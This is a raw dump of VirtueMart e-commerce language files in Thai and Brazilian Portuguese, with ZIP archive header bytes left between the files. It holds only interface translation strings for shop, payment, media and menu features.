COM_VIRTUEMART_VIRTUEMART_USER_ID="รหัสผู้ใช้" COM_VIRTUEMART_VIRTUEMART_VENDOR_ID="ผู้ขาย" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE="หน้าหลัก VirtueMart" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE_DESC="แสดงหน้าหลักของ VirtueMart" COM_VIRTUEMART_VISIBLE_FOR_SHOPPER="สามารถมองเห็นได้สำหรับผู้ซื้อ" COM_VIRTUEMART_VISIBLE_FOR_VENDOR="สามารถมองเห็นได้สำหรับผู้ขาย" COM_VIRTUEMART_WAITING_LIST_DELETE_ERR_PRODUCT="คุณต้องกรอกรหัสสินค้า" COM_VIRTUEMART_WAITING_LIST_DELETE_SELECT="กรุณาเลือกรหัสของรายการสินค้ารอจำหน่ายที่ต้องการลบทิ้ง" COM_VIRTUEMART_WAITING_LIST_ERR_ALREADY="คุณได้รับการแจ้งเตือนสินค้ารายการนี้ไปแล้ว" COM_VIRTUEMART_WAITING_LIST_ERR_EMAIL_ENTER="คุณต้องกรอกที่อยู่อีเมลที่ต้องการให้มีชื่ออยู่ในรายการสินค้ารอจำหน่าย" COM_VIRTUEMART_WAITING_LIST_ERR_EMAIL_NOTVALID="กรุณากรอกที่อยู่อีเมลที่ถูกต้อง" COM_VIRTUEMART_WAITING_LIST_ERR_PRODUCT="คุณต้องกรอกชื่อสินค้าที่ต้องการเก็บเอาไว้ในรายการสินค้ารอจำหน่าย" COM_VIRTUEMART_WARN_NO_SAFE_PATH_SET="คำเตือน, %1$s ยังว่างอยู่, ด้วยเหตุผลทางด้านความปลอดภัย เป็นเรื่องสำคัญมากในการสร้างโฟลเดอร์ในตำแหน่งพาธที่ไม่สามารถเข้าถึงได้ผ่านทางที่อยู่ URL, กรุณาสร้างโฟลเดอร์สำหรับจัดเก็บใบกำกับสินค้าที่ชื่อ invoices ในโฟลเดอร์ดังกล่าวด้วยเช่นกัน เพื่อจัดเก็บข้อมูลที่มีความเปราะบางของคุณอย่างปลอดภัย. เราขอแนะนำให้ใช้ตำแหน่งพาธสำหรับระบบของคุณเป็น %2$s " COM_VIRTUEMART_WARN_SAFE_PATH_NO_INVOICE="ขออภัย, ไม่สามารถสร้างไดเร็กทอรี่สำหรับใบกำักับสินค้าใน %1$s ได้, กรุณาสร้างโฟลเดอร์ที่ชื่อ \"_QQ_"invoices\"_QQ_" ด้วนตัวของคุณเอง" COM_VIRTUEMART_WARN_SAFE_PATH_WRONG="คำเตือน, %1$s นั้น ไม่ถูกต้อง, ด้วยเหตุผลทางด้านความปลอดภัย เป็นเรื่องสำคัญมากในการสร้างโฟลเดอร์ในตำแหน่งพาธที่ไม่สามารถเข้าถึงได้ผ่านทางที่อยู่ URL, กรุณาสร้างโฟลเดอร์สำหรับจัดเก็บใบกำกับสินค้าที่ชื่อ invoices ในโฟลเดอร์ดังกล่าวด้วยเช่นกัน เพื่อจัดเก็บข้อมูลที่มีความเปราะบางของคุณอย่างปลอดภัย. เราขอแนะนำให้ใช้ตำแหน่งพาธสำหรับระบบของคุณเป็น %2$s " COM_VIRTUEMART_WEEK="สัปดาห์" COM_VIRTUEMART_WEEKS="สัปดาห์" COM_VIRTUEMART_WEEK_S="สัปดาห์" COM_VIRTUEMART_WEIGHT_UNIT_DEFAULT="หน่วยของน้ำหนักที่ต้องการกำหนดเป็นค่าเริ่มต้น" COM_VIRTUEMART_WEIGHT_UNIT_DEFAULT_EXPLAIN="หน่วยของน้ำหนักที่ต้องการกำหนดเป็นค่าเริ่มต้นสำหรับสินค้า ค่าดังกล่าวนี้สามารถเปลี่ยนได้ต่อสินค้า" COM_VIRTUEMART_WORLDZONE="โซน" COM_VIRTUEMART_WRITABLE="สามารถเขียนทับได้" COM_VIRTUEMART_X_CHILD_PRODUCT="สินค้าลูก %s รายการ" COM_VIRTUEMART_YEAR="ปี" COM_VIRTUEMART_YEAR_S="ปี" COM_VIRTUEMART_YES="ตกลง" COM_VIRTUEMART_YOUR_VERSION="เวอร์ชั่นของคุณ" COM_VIRTUEMART_ZONE_ASSIGN_CURRENT_LBL="โซนปัจจุบัน"PK@y>\q0ff,language/th-TH/th-TH.com_virtuemart.menu.ininuW+A; $Id: en-GB.com_virtuemart.ini 2653 2010-11-11 13:28:42Z milbo $ ; VirtueMart Project ; Copyright (C) 2008 VirtueMart, 2009 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; System VIRTUEMART="VirtueMart" COM_VIRTUEMART="VirtueMart"PK@y>\!  /language/th-TH/th-TH.plg_vmcustom_stockable.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_STOCKABLE="ช่องรับข้อมูลแบบกำหนดเองพร้อมการควบคุมสต็อคสินค้า" VMCUSTOM_STOCKABLE_DESC="ระบุชื่อและค่าที่ต้องการใช้สำหรับเป็นตัวเลือกของสินค้าลูกด้วยการกำหนดจำนวนเพื่อควบคุมสินค้าในสต็อค" VMCUSTOM_STOCKABLE_IS_VARIANT="ค่าแปรผันหลัก" VMCUSTOM_STOCKABLE_NO_CHILD="ได้โปรด, เพิ่มสินค้าลูกใหม่! หลังจากนั้นคุณสามารถเลือกตัวเลือกสำหรับสินค้าแต่ละชิ้นได้" VMCUSTOM_STOCKABLE_NO_OPTION="-" VMCUSTOM_STOCKABLE_PRICE="ค่าใช้จ่ายเพิ่มเติม" VMCUSTOM_STOCKABLE_SELECTNAME="ชื่อของตัวเลือก" VMCUSTOM_STOCKABLE_SELECTNAME_DESC="กรอกชื่อของรายการที่เลือก" VMCUSTOM_STOCKABLE_SELECTOPTIONS="ค่าที่ใช้สำหรับตัวเลือก" VMCUSTOM_STOCKABLE_SELECTOPTIONS_DESC="กรอกชื่อตัวเลือกสำหรับรายการที่ต้องการเลือก หนึ่งตัวเลือกต่อหนึ่งบรรทัด" VMCUSTOM_STOCKABLE_USAGE="โปรดระวัง! ปลั๊กอินตัวนี้ใช้สินค้าลูกในการจัดการตัวแปรในรถเข็นกับส่วนควบคุมสินค้าในสต็อค หากคุณไม่ต้องการควบคุมสินค้าในสต็อคในตัวแปรที่อยู่ในรถเข็นของคุณ คุณควรใช้ตัวแปรสำหรับรถเข็นแบบปกติ"PK@y>\aj4f/language/th-TH/th-TH.plg_vmpayment_standard.ininuW+A; $Id: en-GB.plg_vmpayment_standard.ini 2567 2010-10-08 14:20:50Z _fD_ $ ; @package ; @author Valerie Isaksen ; Copyright (C) 2008 VirtueMart, 2010 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMPAYMENT_STANDARD="ปลั๊กอินสำหรับการชำระเงินแบบพื้นฐานจาก Vm" VMPAYMENT_STANDARD_AMOUNT="จำนวน" VMPAYMENT_STANDARD_COST_PERCENT_TOTAL="เปอร์เซ็นต์ของจำนวนทั้งหมด" VMPAYMENT_STANDARD_COST_PERCENT_TOTAL_EXPLAIN="เปอร์เซ็นต์ที่ต้องการนำไปใช้กับจำนวนรวมทั้งหมด" VMPAYMENT_STANDARD_COST_PER_TRANSACTION="ค่าธรรมเนียมต่อรายการธุรกรรม" VMPAYMENT_STANDARD_COST_PER_TRANSACTION_EXPLAIN="จำนวนคงที่ที่ต้องการนำไปใช้ต่อรายการการทำธุรกรรม" VMPAYMENT_STANDARD_COUNTRIES="ประเทศ" VMPAYMENT_STANDARD_COUNTRIES_DESC="กรุณาเลือกประเทศที่ต้องการนำวิธีการชำระเงินประเภทนี้ไปใช้ หากไม่มีการเลือกประเทศ, วิธีการชำระเงินดังกล่าวจะถูกนำไปใช้กับทุกประเทศ" VMPAYMENT_STANDARD_CURRENCY="สกุลเงินที่ยอมรับ" VMPAYMENT_STANDARD_CURRENCY_DESC="สกุลเงินที่ยอมรับสำหรับการชำระเงินนี้" VMPAYMENT_STANDARD_INFO="ข้อมูลการชำระเงิน" VMPAYMENT_STANDARD_LOGOS="โลโก้" VMPAYMENT_STANDARD_LOGOS_DESC="โลโก้ที่ต้องการใช้แสดงพร้อมกับชื่อของการชำระเงิน" VMPAYMENT_STANDARD_MAX_AMOUNT="จำนวนสูงสุด" VMPAYMENT_STANDARD_MAX_AMOUNT_EXPLAIN="จำนวนสั่งซื้อสูงสุดที่สามารถใช้การชำระเงินนี้ได้" VMPAYMENT_STANDARD_MIN_AMOUNT="จำนวนต่ำสุด" VMPAYMENT_STANDARD_MIN_AMOUNT_EXPLAIN="จำนวนสั่งซื้อขั้นต่ำที่สามารถใช้วิธีการชำระเงินประเภทนี้ได้" VMPAYMENT_STANDARD_ORDER_INFO="ข้อมูลการสั่งซื้อสินค้า" VMPAYMENT_STANDARD_ORDER_NUMBER="หมายเลขคำสั่งซื้อ" VMPAYMENT_STANDARD_ORDER_TOTAL="รวมรายการสั่งซื้อทั้งหมด" VMPAYMENT_STANDARD_PAYMENTINFO="ข้อมูลการชำระเงิน" VMPAYMENT_STANDARD_PAYMENTINFO_DESC="ข้อมูลพิเศษเกี่ยวกับการชำระเงิน" VMPAYMENT_STANDARD_PAYMENT_INFO="วิธีการชำระเงิน" VMPAYMENT_STANDARD_PAYMENT_INFO_TEXT="คำสั่งซื้อของคุณจะถูกดำิเนินการโดยทันทีที่เราได้รับการชำระเงินจากคุณ" VMPAYMENT_STANDARD_PAYMENT_NAME="ชื่อของการชำระเงิน" VMPAYMENT_STANDARD_PAYMENT_TOTAL_CURRENCY="รวมจำนวนทั้งหมดในสกุลเงินที่ใช้สำหรับการชำระเงิน" VMPAYMENT_STANDARD_PERCENT_TOTAL="เปอร์เซ็นต์ของจำนวนรวมทั้งหมด" VMPAYMENT_STANDARD_PERCENT_TOTAL_EXPLAIN="เปอร์เซ็นต์ที่ต้องการนำไปใช้กับจำนวนรวมทั้งหมด" VMPAYMENT_STANDARD_TAX="ภาษี" VMPAYMENT_STANDARD_TAX_EXPLAIN="ภาษีที่ต้องการนำไปใช้กับค่าธรรมเนียม" VMPAYMENT_STANDARD_TRANSACTION="ค่าธรรมเนียมต่อรายการธุรกรรม" VMPAYMENT_STANDARD_TRANSACTION_EXPLAIN="จำนวนคงที่ที่ต้องการนำไปใช้ต่อรายการการทำธุรกรรม" VMPAYMENT_STANDARD_STATUS_PENDING="สถานะคำสั่งซื้อสำหรับรายการธุรกรรมที่ถูกระงับ" VMPAYMENT_STANDARD_STATUS_PENDING_EXPLAIN="สถานะของคำสั่งซื้อที่ถูกกำหนดว่ายังไม่มีรายการทำธุรกรรมด้านการชำระเงินที่เสร็จสมบูรณ์" PK@y>\>-language/th-TH/th-TH.com_virtuemart_media.ininuW+ACOM_VIRTUEMART_FILES_FORM="แบบฟอร์มข้อมูลไฟล์สินค้า" COM_VIRTUEMART_FILES_FORM_ALREADY_ATTACHED_FILE="แนบไฟล์ไปแล้ว" COM_VIRTUEMART_FILES_FORM_ALREADY_ATTACHED_FILE_PRIMARY="ไฟล์แนบหลัก" COM_VIRTUEMART_FILES_FORM_AUTO_THUMBNAIL="สร้างรูปขนาดย่อ" COM_VIRTUEMART_FILES_FORM_CURRENT_FILE="ไฟล์ปัจจุบัน" COM_VIRTUEMART_FILES_FORM_CURRENT_FULL_IMAGE="รูปขนาดเต็มปัจจุบัน" COM_VIRTUEMART_FILES_FORM_CURRENT_THUMB_IMAGE="รูปขนาดย่อปัจจุบัน" COM_VIRTUEMART_FILES_FORM_DOWNLOADABLE="ไฟล์ดาวน์โหลด" COM_VIRTUEMART_FILES_FORM_FILE="ไฟล์เพิ่มเติม" COM_VIRTUEMART_FILES_FORM_FILE_DESCRIPTION="ชื่อรูปภาพที่ใช้แสดง" COM_VIRTUEMART_FILES_FORM_FILE_META="ข้อมูลอธิบายรูปภาพ" COM_VIRTUEMART_FILES_FORM_FILE_PUBLISHED="เผยแพร่ไฟล์?" COM_VIRTUEMART_FILES_FORM_FILE_TITLE="ชื่อไฟล์ " COM_VIRTUEMART_FILES_FORM_FILE_URL="URL ที่ใช้" COM_VIRTUEMART_FILES_FORM_FILE_URL_THUMB="ที่อยู่ url รูปขนาดย่อที่ใช้" COM_VIRTUEMART_FILES_FORM_IMAGE="รูปภาพเพิ่มเติม" COM_VIRTUEMART_FILES_FORM_IMAGETYPES_SUPPORTED="ประเภทของไฟล์ที่ได้รับการสนับสนุนให้ใช้ในการสร้างรูปขนาดย่อ " COM_VIRTUEMART_FILES_FORM_LOCATION="ตำแหน่ง/ประเภท การจัดเก็บ" COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_NOT_SUPPORTED="เซิร์ฟเวอร์ดังกล่าวไม่สนับสนุนการตรวจจับชนิดของไฟล์ (mime type recoginition) กรุณาใช้ตารางแทน" COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_SUPPORTED="เซิร์ฟดังกล่าวสนับสนุนการใช้งานการตรวจจับชนิดของไฟล์ (mime type recognition)" COM_VIRTUEMART_FILES_FORM_PRODUCT_IMAGE="รูปภาพสินค้า (ขนาดใหญ่และขนาดย่อ)" COM_VIRTUEMART_FILES_FORM_RESIZE_IMAGE="ปรับขนาดของไฟล์รูปภาพที่มีขนาดใหญ่?" COM_VIRTUEMART_FILES_FORM_ROLE="บทบาท" COM_VIRTUEMART_FILES_FORM_UPLOAD_DOWNLOADPATH="ไดเร็กทอรี่มาตรฐานสำหรับเก็บไฟล์ดาวน์โหลด" COM_VIRTUEMART_FILES_FORM_UPLOAD_IMAGEPATH="ไดเร็กทอรี่มาตรฐานสำหรับเก็บรูปภาพ" COM_VIRTUEMART_FILES_FORM_UPLOAD_TO="อัพโหลดไปที่" COM_VIRTUEMART_FILE_DESCRIPTION="คำอธิบายเกี่ยวกับไฟล์" COM_VIRTUEMART_FILE_MIMETYPE="รูปแบบ Mimetype ของไฟล์" COM_VIRTUEMART_FILE_TITLE="ชื่อ" COM_VIRTUEMART_FILE_UPLOAD="อัพโหลดไฟล์" COM_VIRTUEMART_FILE_URL="Url" COM_VIRTUEMART_FORM_IMAGE_DELETE_LBL="ลบรูปภาพ" COM_VIRTUEMART_FORM_MEDIA_CREATE_THUMBNAIL="สร้างรูปย่อ" COM_VIRTUEMART_FORM_MEDIA_DELETE="ลบ" COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE="แสดงผลได้" COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE="สามารถดาวน์โหลดได้" COM_VIRTUEMART_FORM_MEDIA_NO_ATTRIB="ไม่มีคุณลักษณะ" COM_VIRTUEMART_FORM_MEDIA_SET_CATEGORY="หมวดหมู่" COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE="สำหรับขาย" COM_VIRTUEMART_FORM_MEDIA_SET_MANUFACTURER="ผู้ผลิต" COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCT="สินค้า" COM_VIRTUEMART_FORM_MEDIA_SET_VENDOR="ผู้ขาย" COM_VIRTUEMART_FORM_MEDIA_UPLOAD="อัพโหลด" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_ATTACH="อัพโหลด และ แนบไฟล์" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_DELETE="อัพโหลด และ ลบทิ้ง" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE="แทนที่" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE_THUMB="แทนที่รูปย่อ" COM_VIRTUEMART_IMAGE="รูปภาพ" COM_VIRTUEMART_IMAGE_ACTION="การกระทำเกี่ยวกับรูปภาพ" COM_VIRTUEMART_IMAGE_ATTACH_EXISTING="-- ตัวเลือกเกี่ยวกับรูปภาพ --" COM_VIRTUEMART_IMAGE_ATTACH_NEW="แนบรูปภาพใหม่" COM_VIRTUEMART_IMAGE_DETACH="การจับรูปภาพ" COM_VIRTUEMART_IMAGE_EDIT_INFO="แก้ไขข้อมูลเกี่ยวกับรูปภาพ" COM_VIRTUEMART_IMAGE_INFORMATION="ข้อมูลเกี่ยวกับรูปภาพ" COM_VIRTUEMART_IMAGE_NOT_FOUND="ไม่พบรูปภาพที่ต้องการ!" COM_VIRTUEMART_IMAGE_REMOVE="ลบรูปภาพ" COM_VIRTUEMART_MEDIA_LIST="รายการสินค้าในรูปแบบไฟล์มีเดีย" COM_VIRTUEMART_SEARCH_MEDIA_TIP="พิมพ์เว้นวรรค เพื่อแสดงรูปภาพทั้งหมด หรือ อักษรตัวแรกของชื่อรูปภาพ" PK@y>\tUdd3language/th-TH/th-TH.plg_vmcustom_textinput.sys.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_TEXTINPUT="ข้อความสำหรับช่องรับข้อมูลแบบกำหนดเอง" PK@y>\,AD3language/th-TH/th-TH.plg_vmcustom_specification.ininuW+A; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_SPECIFICATION_DEFAULT_INFO="ข้อมูลเริ่มต้น" VMCUSTOM_SPECIFICATION_NAME_INFO="ตั้งชื่อลักษณะเฉพาะ" VMCUSTOM_SPECIFICATION_NAME_INFO_DESC="ค่าเริ่มต้น" PK@y>\O''+language/pt-BR/pt-BR.com_virtuemart.sys.ininuW+A; $Id: en-GB.com_virtuemart.ini 2653 2010-11-11 13:28:42Z milbo $ ; VirtueMart Project ; Copyright (C) 2008 VirtueMart, 2009 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; System COM_VIRTUEMART="VirtueMart" COM_VIRTUEMART_DESCRIPTION="Loja On-Line / Sistema de E-Commerce completo para Joomla 1.5+" COM_VIRTUEMART_INSTALLATION_SUCCESSFUL="A Instalação foi BEM SUCEDIDA" COM_VIRTUEMART_INSTALL_DONATION="Por favor, considere uma pequena doação para nos ajudar a manter o trabalho neste componente." COM_VIRTUEMART_INSTALL_FURTHER_HELP="Vá para VirtueMart para mais Ajuda" COM_VIRTUEMART_INSTALL_GO_SHOP="Vá para a Loja" COM_VIRTUEMART_INSTALL_SAMPLE_DATA="Instalar Dados de Exemplo" COM_VIRTUEMART_MENU="VirtueMart" COM_VIRTUEMART_UNINSTALL_NOTE="Nota de Desinstalação:" COM_VIRTUEMART_UNINSTALL_NOTE_DESC="Desinstalar o VirtueMart não remove as tabelas do VirtueMart de seu banco de dados. Isto é feito intencionalmente para permitir a atualização de seus dados atuais para novas versões do VirtueMart.
            Para remover as tabelas do VirtueMart, remova todas as tabelas com o prefixo _virtuemart_." COM_VIRTUEMART_UNINSTALL_THANKYOU="Obrigado por usar VirtueMart!" COM_VIRTUEMART_UPGRADE_SUCCESSFUL="A Atualização foi BEM SUCEDIDA" VIRTUEMART="VirtueMart" ; components/com_virtuemart/views/cart/tmpl/default.xml COM_VIRTUEMART_CART_VIEW_DEFAULT_DESC="Exibe o Cesto de Compras" COM_VIRTUEMART_CART_VIEW_DEFAULT_TITLE="Cesto de Compras" ; components/com_virtuemart/views/cart/tmpl/minicart.xml COM_VIRTUEMART_MINICART_DESC="Exibe o mini cesto" COM_VIRTUEMART_MINICART_MENU="Mini Cesto" ; components/com_virtuemart/views/categories/tmpl/default.xml COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_DESC="Para definir a categoria primária" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_TITLE="Layout das Categorias do VirtueMart" ; components/com_virtuemart/views/category/tmpl/default.xml COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_DESC="Exibe uma única categoria do VirtueMart" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_TITLE="Layout da Categoria" COM_VIRTUEMART_SELECT_CATEGORY="Selecione uma categoria" ; components/com_virtuemart/views/manufacturer/tmpl/defaut.xml COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE="Selecione um Fabricante" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_DESC="Exibe a lista de fabricantes" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_TITLE="Layout Padrão de Fabricante" ; components/com_virtuemart/views/manufacturer/tmpl/details.xml COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_DESC="Exibe o Layout de Detalhes de Fabricante" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_TITLE="Layout de Detalhes de Fabricante" ; components/com_virtuemart/views/orders/tmpl/details.xml COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_DESC="Lista de Pedidos" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE="Lista de Pedidos" ; components/com_virtuemart/views/productdetails/tmpl/default.xml COM_VIRTUEMART_PRODUCTDETAILS_CHANGE_PRODUCT_BUTTON="Alterar" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT="Selecione um Produto" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT_DESC="Cria um link para este exibir o Produto selecionado" COM_VIRTUEMART_PRODUCTDETAILS_PRODUCT="Produto" COM_VIRTUEMART_PRODUCTDETAILS_TO_SET_PRODUCT_VIEW="Para definir a visualização de produto" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_DESC="Exibe um único produto" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_TITLE="Layout de Detalhes de Produto" ; components/com_virtuemart/views/recommend/tmpl/edit.xml ;COM_VIRTUEMART_RECCOMEND_MENU="VirtueMart Account Maintenance" ;COM_VIRTUEMART_RECOMMEND_MENU_DESC="Displays the VirtueMart Customer Account Maintenance" ; components/com_virtuemart/views/user/tmpl/edit.xml COM_VIRTUEMART_USER_VIEW_DEFAULT_DESC="Exibe a Manutenção de Conta de Cliente" COM_VIRTUEMART_USER_VIEW_DEFAULT_TITLE="Manutenção de Conta" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_TITLE="Editar Endereço do Usuário" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_DESC="Exibe o Editar Endereço ao Usuário" ; components/com_virtuemart/views/virtuemart/tmpl/default.xml COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE="Página inicial" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE_DESC="Exibe a página inicial" ; components/com_virtuemart/views/vendor/tmpl/ COM_VIRTUEMART_VENDOR_FIELD_SELECT_DESC="Selecione um vendedor" COM_VIRTUEMART_VENDOR_FIELD_SELECT_TITLE="Selecione um vendedor" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_DESC="Exibe a página de contato do vendedor" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_TITLE="Exibe o contato do vendedor" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_DESC="Exibe os vendedores" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_TITLE="Exibe os vendedores" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_DESC="Exibe os detalhes do vendedor" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_TITLE="Exibe os detalhes do vendedor" COM_VIRTUEMART_VENDOR_VIEW_TOS_DESC="Ver Termos do Serviço do vendedor" COM_VIRTUEMART_VENDOR_VIEW_TOS_TITLE="Ver Termos do Serviço do vendedor" PK@y>\"`+==.language/pt-BR/pt-BR.plg_search_virtuemart.ininuW+A; VirtueMart Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 ; PLG_SEARCH_VIRTUEMART="Search - VirtueMart" PLG_SEARCH_VIRTUEMART_PRODUCTS="produto"PK@y>\ -language/pt-BR/pt-BR.com_virtuemart_media.ininuW+ACOM_VIRTUEMART_FILES_FORM="Formulário de arquivos de produto" COM_VIRTUEMART_FILES_FORM_ALREADY_ATTACHED_FILE="arquivo já anexado" COM_VIRTUEMART_FILES_FORM_ALREADY_ATTACHED_FILE_PRIMARY="arquivo principal anexado" COM_VIRTUEMART_FILES_FORM_AUTO_THUMBNAIL="Criar Miniatura" COM_VIRTUEMART_FILES_FORM_CURRENT_FILE="Arquivo atual" COM_VIRTUEMART_FILES_FORM_CURRENT_FULL_IMAGE="Imagem completa atual" COM_VIRTUEMART_FILES_FORM_CURRENT_THUMB_IMAGE="Miniatura de imagem atual" COM_VIRTUEMART_FILES_FORM_DOWNLOADABLE="Arquivo disponível para Download" COM_VIRTUEMART_FILES_FORM_FILE="Arquivo adicional" COM_VIRTUEMART_FILES_FORM_FILE_DESCRIPTION="Exibir descrição" COM_VIRTUEMART_FILES_FORM_FILE_META="Meta tags" COM_VIRTUEMART_FILES_FORM_FILE_PUBLISHED="Arquivo publicado?" COM_VIRTUEMART_FILES_FORM_FILE_TITLE="Título mostrado " COM_VIRTUEMART_FILES_FORM_FILE_URL="Url usada" COM_VIRTUEMART_FILES_FORM_FILE_URL_THUMB="Url reduzida apresentada" COM_VIRTUEMART_FILES_FORM_IMAGE="Imagem adicional" COM_VIRTUEMART_FILES_FORM_IMAGETYPES_SUPPORTED="Tipo de arquivos suportados na criação de miniaturas " COM_VIRTUEMART_FILES_FORM_LOCATION="Tipo/local armazenamento" COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_NOT_SUPPORTED="O servidor não suporta ou não reconhece tipo mime, usando tabela" COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_SUPPORTED="O servidor suporta reconhecimento tipo mime" COM_VIRTUEMART_FILES_FORM_PRODUCT_IMAGE="Imagem do produto (cheia e miniatura)" COM_VIRTUEMART_FILES_FORM_RESIZE_IMAGE="Redimensionar arquivo da Imagem cheia?" COM_VIRTUEMART_FILES_FORM_ROLE="Função" COM_VIRTUEMART_FILES_FORM_UPLOAD_DOWNLOADPATH="Diretório de download padrão" COM_VIRTUEMART_FILES_FORM_UPLOAD_IMAGEPATH="Diretório de imagens padrão" COM_VIRTUEMART_FILES_FORM_UPLOAD_TO="Mandar para" COM_VIRTUEMART_FILE_DESCRIPTION="Descrição do arquivo" COM_VIRTUEMART_FILE_MIMETYPE="Arquivo tipo mime" COM_VIRTUEMART_FILE_TITLE="Título" COM_VIRTUEMART_FILE_UPLOAD="Fazer Upload de Arquivo" COM_VIRTUEMART_FILE_URL="Url" COM_VIRTUEMART_FORM_IMAGE_DELETE_LBL="Excluir imagem" COM_VIRTUEMART_FORM_MEDIA_CREATE_THUMBNAIL="Criar miniatura" COM_VIRTUEMART_FORM_MEDIA_DELETE="excluir" COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE="Exibível" COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE="Disponível para Download" COM_VIRTUEMART_FORM_MEDIA_NO_ATTRIB="Nenhum atributo" COM_VIRTUEMART_FORM_MEDIA_SET_CATEGORY="Categoria" COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE="for sale" COM_VIRTUEMART_FORM_MEDIA_SET_MANUFACTURER="Fabricante" COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCT="produto" COM_VIRTUEMART_FORM_MEDIA_SET_VENDOR="Fornecedor" COM_VIRTUEMART_FORM_MEDIA_UPLOAD="Upload" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_ATTACH="Carregar e anexar" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_DELETE="carregar e excluir" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE="Substituir" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE_THUMB="Substituir miniatura" COM_VIRTUEMART_IMAGE="Imagem" COM_VIRTUEMART_IMAGE_ACTION="Ação da Imagem" COM_VIRTUEMART_IMAGE_ATTACH_EXISTING="--Escolha imagem--" COM_VIRTUEMART_IMAGE_ATTACH_NEW="Anexar nova imagem" COM_VIRTUEMART_IMAGE_DETACH="Imagem em destaque" COM_VIRTUEMART_IMAGE_EDIT_INFO="Editar informações da imagem" COM_VIRTUEMART_IMAGE_INFORMATION="Informação da imagem" COM_VIRTUEMART_IMAGE_NOT_FOUND="Imagem não encontrada!" COM_VIRTUEMART_IMAGE_REMOVE="Remover imagem" COM_VIRTUEMART_MEDIA_LIST="Lista de produtos de arquivo de mídia" COM_VIRTUEMART_SEARCH_MEDIA_TIP="Digite um espaço para exibir todas as imagens ou as primeiras letras de um título de imagem" PK@y>\ 3language/pt-BR/pt-BR.plg_vmcustom_stockable.sys.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_STOCKABLE="Campo Personalizado Armazenável do VM" PK@y>\O/language/pt-BR/pt-BR.plg_vmcustom_textinput.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_NAME_INFO="Título" VMCUSTOM_NAME_INFO_DESC="Título a ser exibido. Pode ser um texto ou uma cadeia chave que pode ser traduzida" ; VMCUSTOM_TEXTINPUT_PRICE_BY_LETTER="Price per letter" ; 